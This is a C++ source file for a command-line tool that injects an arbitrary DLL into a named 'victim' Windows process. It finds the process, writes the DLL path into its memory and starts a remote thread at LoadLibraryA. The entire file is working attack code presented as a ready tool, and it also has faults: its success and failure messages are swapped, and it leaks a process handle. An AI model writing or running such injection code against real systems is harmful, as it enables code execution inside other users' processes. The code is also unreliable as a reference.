Reinventing the wheel: DLL Injection via CreateRemoteThread

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <string>

DWORD VictimProcessCraving(const char* PName, BOOL *ProcessTokenAcquired)
{
	// function gets a process name and returns the PID of this process
	// a flag is updated, indicating whether the provided process is active in the system

	HANDLE hProcessSnap;
	PROCESSENTRY32 pe32;
	DWORD dwCurrentProcessId = ::GetCurrentProcessId();
	DWORD dwRunningProcessId = 0;
	DWORD dwCurrentProcessSessionId = 0;
	DWORD dwRunningProcessSessionId = 0;
	DWORD victimPID = 0;

	// take a snapshot of all processes in the system
	hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if ( hProcessSnap == INVALID_HANDLE_VALUE )
	{
		printf("[-] CreateToolhelp32Snaphost has failed!\n");
		exit(1);
	}

	pe32.dwSize = sizeof(PROCESSENTRY32);
	
	if ( !Process32First(hProcessSnap, &pe32) )
	{
		printf("[-] Process32First has failed!\n");
		CloseHandle(hProcessSnap);
		exit(1);
	}

	do
	{
		if ( strcmp(pe32.szExeFile, PName) == 0 )
		{
			dwRunningProcessId = pe32.th32ProcessID;

			ProcessIdToSessionId(dwCurrentProcessId, &dwCurrentProcessSessionId);
			ProcessIdToSessionId(dwRunningProcessId, &dwRunningProcessSessionId);

			if (dwCurrentProcessSessionId != dwRunningProcessSessionId)
			{
				printf("[-] Belongs to a different session\n");
				break;
			}

			victimPID = pe32.th32ProcessID;

			if (!OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE , FALSE, pe32.th32ProcessID))
			{
				// didn't get a token for the process, keep looking other active processes
				continue;
			}
			else
			{
				// got a token for the process
				*ProcessTokenAcquired = TRUE;
				break;
			}
		}
	} while (Process32Next(hProcessSnap, &pe32));

	CloseHandle(hProcessSnap);

	// return the victim process PID or 0
	if (victimPID)
		return pe32.th32ProcessID;
	else
		return 0;
}

BOOL InjectDLL(HANDLE hProcess, LPCSTR lpFileName)
{
	DWORD nNumberOfBytesToRead = 0;

	// calculate the number of bytes the DLL path consists of
	int numberOfCharacters = lstrlen(lpFileName) + 1;
	int numberOfBytes = numberOfCharacters * sizeof(char);
	printf("[+] numberOfCharacters: %d\n", numberOfCharacters);
	printf("[+] numberOfBytes: %d\n", numberOfBytes);

	// allocate memory in a target process
	LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, numberOfBytes, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if ( !lpBaseAddress )
	{
		printf("[-] Virtual allocation has failed: %d\n", GetLastError());
		return 0;
	}
	
	// write the DLL in the target process
	if ( !WriteProcessMemory(hProcess, lpBaseAddress, lpFileName, numberOfBytes, NULL))
	{
		printf("[-] WriteProcessMemory has failed: %d\n", GetLastError());
		return 0;
	}

	// get the address of LoadLibraryA
	LPVOID lpStartAddress = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
	if (!lpStartAddress)
	{
		printf("[-] GetProcAddress has failed: %d\n", GetLastError());
		return 0;
	}

	// debug
	printf("[+] LoadLibrary address: 0x%p\n", lpStartAddress);

	// create a remote thread to execute the specified DLL
	HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, NULL);
	if ( !hRemoteThread )
	{
		printf("[-] CreateRemoteThread has failed: %d\n", GetLastError());
		return 0;
	}

	DWORD status = WaitForSingleObject(hRemoteThread, INFINITE);
	
	// cleanup
	VirtualFreeEx(hProcess, lpBaseAddress, 0, MEM_RELEASE);
	CloseHandle(hRemoteThread);
	CloseHandle(hProcess);

	return 1;
}

void menu()
{
	printf("SYNOPSIS\n");
	printf("\tdll_injection.exe -p process_name -d dll_name\n\n");
	printf("DESCRIPTION\n");
	printf("\tApplication to inject a DLL into a given process\n\n");
	printf("OPTIONS\n");
	printf("\t-h, --help\n");
	printf("\t\tdisplay this help and exit\n");
	printf("\t-p, --process-name\n");
	printf("\t\tSpecify the target/victim process\n");
	printf("\t-d, --dll-path\n");
	printf("\t\tSpecify the DLL that will be injected into the victim process\n");
}

int main(int argc, char **argv)
{
	BOOL pset = FALSE, dset = FALSE;
	BOOL ProcessTokenAcquired = FALSE;
	std::string PName, DLLPath;
	printf("[+] Program started...\n");

	for (int i = 1; i < argc; i++)
	{
		std::string s = argv[i];
		// display help menu and exit
		if ( !s.compare("-h") || !s.compare("--help") ) menu();
		/// check if the process name has been specified
		if ( !s.compare("-p") || !s.compare("--process-name") )
		{
			// debug
			//printf("[+] input process-name: %s\n", argv[i+1]);
			PName = argv[i+1];
			pset = TRUE;
		}
		// check if the DLL path has been specified
		if (!s.compare("-d") || !s.compare("--dll-path"))
		{
			// debug
			//printf("[+] input DLL-path: %s\n", argv[i+1]);
			DLLPath = argv[i + 1];
			dset = TRUE;
		}
	}
	if ( !(pset && dset) )
	{
		printf("[-] You have to specify both a process name and a DLL path. Exiting...\n");
		exit(1);
	}

	// find the PID of the victim process given its name
	DWORD victimPID = 0;
	victimPID = VictimProcessCraving(PName.c_str(), &ProcessTokenAcquired);
	if ( victimPID )
		printf("[+] Victim process ID: %d\n", victimPID);
	else
	{
		printf("[-] Could not locate the process\n");
		exit(1);
	}

	if (!ProcessTokenAcquired)
	{
		printf("[-] Could not acquire the process token\n");
		exit(1);
	}

	// victim process handle
	// requires the PID which comes from VictimProcessCraving
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, victimPID);

	printf("[+] hProcess: 0x%p\n", hProcess);

	// call inject DLL
	if ( !InjectDLL(hProcess, DLLPath.c_str()) )
		printf("[+] Successful injection occurred!\n");
	else
		printf("[-] Inject has failed\n");

	return 0;
}